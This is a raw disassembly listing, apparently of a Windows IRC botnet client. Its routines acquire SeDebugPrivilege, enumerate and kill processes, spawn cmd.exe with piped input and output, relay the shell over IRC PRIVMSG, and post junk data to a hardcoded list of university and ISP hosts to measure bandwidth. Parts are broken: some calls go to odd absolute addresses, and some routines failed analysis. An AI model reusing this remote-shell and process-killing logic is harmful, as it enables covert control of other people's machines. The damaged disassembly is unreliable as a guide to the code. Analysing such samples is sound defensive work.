		call	near ptr 26E0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_419D00
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41A800
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_445358
		test	eax, eax
		jnz	short loc_41338D
		mov	esi, offset dword_4DA67C
		push	offset unk_442FA8
		push	esi
		call	sub_4171D0
		pop	ecx
		pop	ecx
		jmp	short loc_4133B6
; ---------------------------------------------------------------------------


loc_41338D:				; CODE XREF: sub_4132FD+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_4131C9
		pop	ecx
		mov	esi, offset dword_4DA67C
		push	eax
		push	offset dword_442FD0
		push	esi
		call	sub_4171D0
		add	esp, 14h


loc_4133B6:				; CODE XREF: sub_4132FD+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4132FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4133BB	proc near		; CODE XREF: sub_411F81+7p
					; sub_413426+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 2730F02h
		nop
		push	eax
		call	dword_44532C
		test	eax, eax
		jnz	short loc_4133DA
		leave
		retn
; ---------------------------------------------------------------------------


loc_4133DA:				; CODE XREF: sub_4133BB+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_445304
		test	eax, eax
		jz	short loc_413418
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_413401
		or	[ebp+var_8], 2
		jmp	short loc_413405
; ---------------------------------------------------------------------------


loc_413401:				; CODE XREF: sub_4133BB+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_413405:				; CODE XREF: sub_4133BB+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4453B4
		mov	esi, eax


loc_413418:				; CODE XREF: sub_4133BB+32j
		push	[ebp+var_4]
		call	near ptr 267009Bh
		nop
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4133BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413426	proc near		; CODE XREF: sub_403038+2D7Dp
					; sub_413669+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_445368, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_413639
		cmp	dword_44534C, ebx
		jz	loc_413639
		cmp	dword_44525C, ebx
		jz	loc_413639
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_4133BB
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_445368
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_41362C
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_44534C
		mov	esi, dword_4DD2BC
		test	eax, eax
		jz	loc_413627
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_44525C
		test	eax, eax
		jz	loc_413627
		mov	edi, dword_4DD2E8
		mov	ebx, 1F0FFFh


loc_4134EA:				; CODE XREF: sub_413426+1F9j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_413551
		mov	[ebp+var_4], offset off_443000


loc_4134F8:				; CODE XREF: sub_413426+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 28111B8h
		test	eax, eax
		jz	short loc_413520
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_443060
		jl	short loc_4134F8
		jmp	loc_41360D
; ---------------------------------------------------------------------------


loc_413520:				; CODE XREF: sub_413426+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41360D
		push	0
		push	eax
		call	near ptr 27308F4h
		nop
		test	eax, eax
		jnz	loc_41360D


loc_413547:				; CODE XREF: sub_413426+1CDj
		push	[ebp+var_4]
		call	esi
		jmp	loc_41360D
; ---------------------------------------------------------------------------


loc_413551:				; CODE XREF: sub_413426+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_4135F8
		cmp	[ebp+arg_4], eax
		jz	loc_41360D
		push	[ebp+var_128]
		push	8
		call	dword_445368
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_4135B8
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_445208
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_4135AA
		lea	eax, [ebp+var_234]
		push	eax
		push	offset aSD	; " %s (%d)"
		jmp	short loc_4135CA
; ---------------------------------------------------------------------------


loc_4135AA:				; CODE XREF: sub_413426+174j
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aSD_0	; " %s (%d)"
		jmp	short loc_4135CA
; ---------------------------------------------------------------------------


loc_4135B8:				; CODE XREF: sub_413426+15Cj
		push	[ebp+var_128]
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aSD_1	; " %s (%d)"


loc_4135CA:				; CODE XREF: sub_413426+182j
					; sub_413426+190j
		lea	eax, [ebp+var_554]
		push	eax
		call	sub_4171D0
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 14h
		jmp	loc_413547
; ---------------------------------------------------------------------------


loc_4135F8:				; CODE XREF: sub_413426+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413640


loc_41360D:				; CODE XREF: sub_413426+F5j
					; sub_413426+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_44525C
		test	eax, eax
		jnz	loc_4134EA
		xor	ebx, ebx


loc_413627:				; CODE XREF: sub_413426+9Dj
					; sub_413426+B3j
		push	[ebp+var_8]
		call	esi


loc_41362C:				; CODE XREF: sub_413426+77j
		push	ebx
		push	offset aSedebugprivi_0 ; "SeDebugPrivilege"
		call	sub_4133BB
		pop	ecx
		pop	ecx


loc_413639:				; CODE XREF: sub_413426+3Aj
					; sub_413426+46j ...
		xor	eax, eax


loc_41363B:				; CODE XREF: sub_413426+241j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413640:				; CODE XREF: sub_413426+1E5j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		nop
		call	near ptr 27308F4h
		test	eax, eax
		jnz	short loc_413664
		push	edi
		call	esi
		jmp	short loc_413639
; ---------------------------------------------------------------------------


loc_413664:				; CODE XREF: sub_413426+237j
		push	1
		pop	eax
		jmp	short loc_41363B
sub_413426	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413669	proc near		; DATA XREF: sub_403038+3B03o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_4431F8
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4171D0
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_4136C8
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_401445
		add	esp, 14h


loc_4136C8:				; CODE XREF: sub_413669+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_413426
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4136F0
		push	offset unk_443218
		jmp	short loc_4136F5
; ---------------------------------------------------------------------------


loc_4136F0:				; CODE XREF: sub_413669+7Ej
		push	offset unk_44323C


loc_4136F5:				; CODE XREF: sub_413669+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4171D0
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_413728
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_401445
		add	esp, 14h


loc_413728:				; CODE XREF: sub_413669+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_410557
		push	[ebp+var_14]
		call	sub_40916F
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi
sub_413669	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_413747	proc near		; CODE XREF: sub_403038+2D4Bp
					; sub_408F8E+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 26B0000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_413779
		push	0
		push	esi
		call	near ptr 27308F4h
		nop
		test	eax, eax
		jnz	short loc_413779
		push	esi
		xor	edi, edi
		nop
		call	near ptr 267009Bh


loc_413779:				; CODE XREF: sub_413747+1Aj
					; sub_413747+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_413747	endp

; ---------------------------------------------------------------------------
word_41377E	dw 3356h		; DATA XREF: ___:00402B59o
		dd 56016AF6h, 56565656h, 0FFFC99E8h, 18C483FFh,	2FFC35FFh
		dd 0E8900044h, 227CDFDh
		db 0EBh, 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_41379E	proc near		; CODE XREF: sub_4137CE+2Ap
					; sub_413806+7Ep ...
		mov	eax, dword_4DAEE8
		push	esi
		mov	esi, dword_4DD2BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4137B2
		push	eax
		call	esi


loc_4137B2:				; CODE XREF: sub_41379E+Fj
		mov	eax, dword_4DAEF0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4137BF
		push	eax
		call	esi


loc_4137BF:				; CODE XREF: sub_41379E+1Cj
		mov	eax, dword_4DAEE4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4137CC
		push	eax
		call	esi


loc_4137CC:				; CODE XREF: sub_41379E+29j
		pop	esi
		retn
sub_41379E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4137CE	proc near		; CODE XREF: sub_403038+2AA1p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_414BE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DAEEC
		nop
		call	near ptr 2720000h
		test	eax, eax
		jnz	short loc_413801
		call	sub_41379E
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_413801:				; CODE XREF: sub_4137CE+28j
		push	1
		pop	eax
		leave
		retn
sub_4137CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413806	proc near		; CODE XREF: sub_41388D+D3p
					; sub_41388D+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_4DAF30
		push	[ebp+arg_4]
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413849
		push	7D0h
		nop
		call	near ptr 2690599h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4171D0
		add	esp, 10h
		jmp	short loc_413860
; ---------------------------------------------------------------------------


loc_413849:				; CODE XREF: sub_413806+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_24	; "%s"
		push	eax
		call	sub_4171D0
		add	esp, 0Ch


loc_413860:				; CODE XREF: sub_413806+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_445398
		test	eax, eax
		jg	short loc_413889
		call	sub_41379E


loc_413889:				; CODE XREF: sub_413806+7Cj
		xor	eax, eax
		leave
		retn
sub_413806	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41388D	proc near		; DATA XREF: sub_4139E2+174o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DAEF4


loc_4138A5:				; CODE XREF: sub_41388D+79j
					; sub_41388D+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417070
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DAEE8
		nop
		call	near ptr 2811963h
		test	eax, eax
		jz	loc_413973
		cmp	[ebp+var_4], edi
		jnz	short loc_413908
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DAEE4
		nop
		call	near ptr 2811561h
		test	eax, eax
		jz	short loc_4138FE
		cmp	[ebp+var_8], 103h
		jnz	loc_413997


loc_4138FE:				; CODE XREF: sub_41388D+62j
		push	0Ah
		nop
		call	near ptr 2690599h
		jmp	short loc_4138A5
; ---------------------------------------------------------------------------


loc_413908:				; CODE XREF: sub_41388D+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41391F


loc_41390F:				; CODE XREF: sub_41388D+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_41396D
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41390F


loc_41391F:				; CODE XREF: sub_41388D+80j
		mov	[ebp+var_4], esi


loc_413922:				; CODE XREF: sub_41388D+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417070
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DAEE8
		nop
		call	near ptr 2730000h
		test	eax, eax
		jz	short loc_4139BF
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DAF28
		call	sub_413806
		add	esp, 0Ch
		jmp	loc_4138A5
; ---------------------------------------------------------------------------


loc_41396D:				; CODE XREF: sub_41388D+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_413922
; ---------------------------------------------------------------------------


loc_413973:				; CODE XREF: sub_41388D+45j
		push	offset unk_443274
		push	ebx
		push	dword_4DAF28
		call	sub_413806
		push	[ebp+arg_0]
		call	sub_40916F
		add	esp, 10h
		push	1
		nop
		call	near ptr 2700000h


loc_413997:				; CODE XREF: sub_41388D+6Bj
		call	sub_41379E
		push	offset unk_4432A4
		push	ebx
		push	dword_4DAF28
		call	sub_413806
		push	[ebp+arg_0]
		call	sub_40916F
		add	esp, 10h
		push	edi
		nop
		call	near ptr 2700000h


loc_4139BF:				; CODE XREF: sub_41388D+C3j
		push	offset unk_4432CC
		push	ebx
		push	dword_4DAF28
		call	sub_413806
		push	[ebp+arg_0]
		call	sub_40916F
		add	esp, 10h
		push	edi
		nop
		call	near ptr 2700000h
sub_41388D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4139E2	proc near		; CODE XREF: sub_403038+3962p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	esi
		push	edi
		call	sub_41379E
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe_0 ; "cmd.exe"
		push	esi
		call	dword_445404
		test	eax, eax
		jz	loc_413ADC
		lea	eax, [ebp+var_1C]
		mov	edi, dword_4DD348
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], 1
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_413ADC
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_413ADC
		mov	edi, dword_4DD344
		push	3
		push	esi
		push	esi
		push	offset dword_4DAEEC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 27309FCh
		test	eax, eax
		jz	short loc_413ADC
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_417070
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417070
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		lea	eax, [ebp+var_178]
		push	offset dword_4DAF34
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	near ptr 267039Fh
		nop
		test	eax, eax
		jnz	short loc_413AE4


loc_413ADC:				; CODE XREF: sub_4139E2+2Ej
					; sub_4139E2+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_413B96
; ---------------------------------------------------------------------------


loc_413AE4:				; CODE XREF: sub_4139E2+F8j
		push	[ebp+var_4]
		mov	edi, dword_4DD2BC
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DAEE8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DAEF0, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DAEE4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DAF28, eax
		jz	short loc_413B1E
		push	[ebp+arg_4]
		jmp	short loc_413B23
; ---------------------------------------------------------------------------


loc_413B1E:				; CODE XREF: sub_4139E2+135j
		push	offset dword_4DAF38


loc_413B23:				; CODE XREF: sub_4139E2+13Aj
		push	offset dword_4DAEF4
		call	sub_4171D0
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_443304
		call	sub_408E53
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_446218[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41388D
		push	esi
		push	esi
		nop
		call	near ptr 26A08FFh
		cmp	eax, esi
		mov	dword_446224[edi], eax
		jnz	short loc_413B94
		nop
		call	near ptr 26908EFh
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_443328
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_410557
		add	esp, 10h


loc_413B94:				; CODE XREF: sub_4139E2+189j
		xor	eax, eax


loc_413B96:				; CODE XREF: sub_4139E2+FDj
		pop	edi
		pop	esi
		leave
		retn
sub_4139E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B9A	proc near		; CODE XREF: sub_413D8F+CBp
					; sub_413D8F+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 26C05FFh
		push	eax
		call	sub_417B00
		pop	ecx
		call	sub_417B10
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_413B9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413BB4	proc near		; CODE XREF: sub_413D8F+D4p
					; sub_413D8F+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_414BE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_413D8B
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_417070
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_402561
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_413D8B
		push	50h
		call	dword_445348
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4453C8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_413D8B
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4452F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_413D8B
		push	32003h
		call	sub_419BB0
		mov	edi, dword_4DD304
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_417B00
		call	sub_417B10
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_417070
		push	32000h
		push	esi
		push	ebx
		call	sub_417070
		push	ebx
		call	sub_414BE0
		push	323EAh
		mov	ebx, eax
		call	sub_419BB0
		push	ebx
		mov	esi, eax
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_4171D0
		push	[ebp+var_8]
		push	esi
		call	sub_4184D0
		push	offset asc_443390 ; "\r\n"
		push	esi
		call	sub_4184D0
		add	esp, 40h
		push	esi
		call	sub_414BE0
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_413D0B
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_413CDB
; ---------------------------------------------------------------------------


loc_413CD8:				; CODE XREF: sub_413BB4+155j
		mov	eax, [ebp+arg_0]


loc_413CDB:				; CODE XREF: sub_413BB4+122j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_413CEB
		push	[ebp+var_C]
		jmp	short loc_413CEC
; ---------------------------------------------------------------------------


loc_413CEB:				; CODE XREF: sub_413BB4+130j
		push	ebx


loc_413CEC:				; CODE XREF: sub_413BB4+135j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_445398
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413D72
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_413CD8


loc_413D0B:				; CODE XREF: sub_413BB4+118j
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_433494
		fst	[ebp+arg_0]
		fcomp	flt_433490
		fnstsw	ax
		sahf
		jnz	short loc_413D33
		fld1
		fstp	[ebp+arg_0]


loc_413D33:				; CODE XREF: sub_413BB4+178j
		push	[ebp+var_4]
		call	dword_4453E0
		push	[ebp+var_8]
		call	sub_415820
		push	esi
		call	sub_415820
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_43348C
		fmul	flt_433488
		call	sub_41915C


loc_413D6D:				; CODE XREF: sub_413BB4+1D9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413D72:				; CODE XREF: sub_413BB4+147j
		push	[ebp+var_4]
		call	dword_4453E0
		push	[ebp+var_8]
		call	sub_415820
		push	esi
		call	sub_415820
		pop	ecx
		pop	ecx


loc_413D8B:				; CODE XREF: sub_413BB4+19j
					; sub_413BB4+42j ...
		xor	eax, eax
		jmp	short loc_413D6D
sub_413BB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D8F	proc near		; CODE XREF: sub_403038+41CAp

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
